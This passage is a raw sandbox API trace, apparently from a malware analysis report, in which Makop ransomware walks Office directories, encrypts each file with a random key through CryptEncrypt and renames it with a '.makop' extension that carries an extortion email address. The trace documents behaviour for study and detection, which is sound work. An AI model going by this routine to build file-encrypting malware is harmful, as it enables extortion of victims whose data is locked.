pbBuffer=0x48bdf90) returned 1 [0091.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0091.653] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.653] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.653] GetProcessHeap () returned 0x48a0000 [0091.653] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.653] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0091.653] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.653] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0091.657] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0091.657] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0091.658] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0091.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0091.658] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.658] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.658] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.658] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.658] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6190, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6190, lpOverlapped=0x0) returned 1 [0091.660] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6190, dwBufLen=0x6190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6190) returned 1 [0091.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.661] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6190, lpOverlapped=0x0) returned 1 [0091.661] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.661] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.661] SetEndOfFile (hFile=0xf0) returned 1 [0091.669] GetProcessHeap () returned 0x48a0000 [0091.669] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.669] GetProcessHeap () returned 0x48a0000 [0091.669] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.669] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0091.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.670] CloseHandle (hObject=0xf0) returned 1 [0091.671] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0091.671] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0091.671] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0091.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0091.673] GetProcessHeap () returned 0x48a0000 [0091.673] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.673] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0091.674] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.677] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.677] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.678] GetProcessHeap () returned 0x48a0000 [0091.678] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.678] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0091.678] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0091.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0091.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0091.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0091.679] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0091.679] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.679] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7568, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7568, lpOverlapped=0x0) returned 1 [0091.681] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7570, dwBufLen=0x7570 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7570) returned 1 [0091.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7570, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7570, lpOverlapped=0x0) returned 1 [0091.682] CryptDestroyKey (hKey=0x48c7128) returned 1 [0091.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.683] SetEndOfFile (hFile=0xf0) returned 1 [0091.689] GetProcessHeap () returned 0x48a0000 [0091.689] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.689] GetProcessHeap () returned 0x48a0000 [0091.689] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.689] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0091.689] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.691] CloseHandle (hObject=0xf0) returned 1 [0091.691] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0091.691] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller") returned 79 [0091.692] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned 83 [0091.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0091.696] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.699] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0091.699] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 92 [0091.699] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*") returned 96 [0091.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0091.705] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.705] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0091.705] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0091.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.706] GetProcessHeap () returned 0x48a0000 [0091.706] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.706] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.706] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.706] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xb, lpOverlapped=0x0) returned 1 [0091.711] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.711] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.711] GetProcessHeap () returned 0x48a0000 [0091.711] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.711] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.711] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.711] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0091.712] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0091.712] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0091.712] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0091.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0091.712] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0091.712] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.712] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.713] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x545, lpOverlapped=0x0) returned 1 [0091.713] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x550) returned 1 [0091.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.713] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x550, lpOverlapped=0x0) returned 1 [0091.713] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.713] SetEndOfFile (hFile=0x114) returned 1 [0091.720] GetProcessHeap () returned 0x48a0000 [0091.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0091.720] GetProcessHeap () returned 0x48a0000 [0091.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0091.720] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 153 [0091.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0091.721] CloseHandle (hObject=0x114) returned 1 [0091.722] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0091.722] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0091.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0091.723] GetProcessHeap () returned 0x48a0000 [0091.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0091.724] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0091.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0091.724] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xd, lpOverlapped=0x0) returned 1 [0091.729] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0091.729] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0091.729] GetProcessHeap () returned 0x48a0000 [0091.729] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0091.729] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0091.729] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0091.729] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: 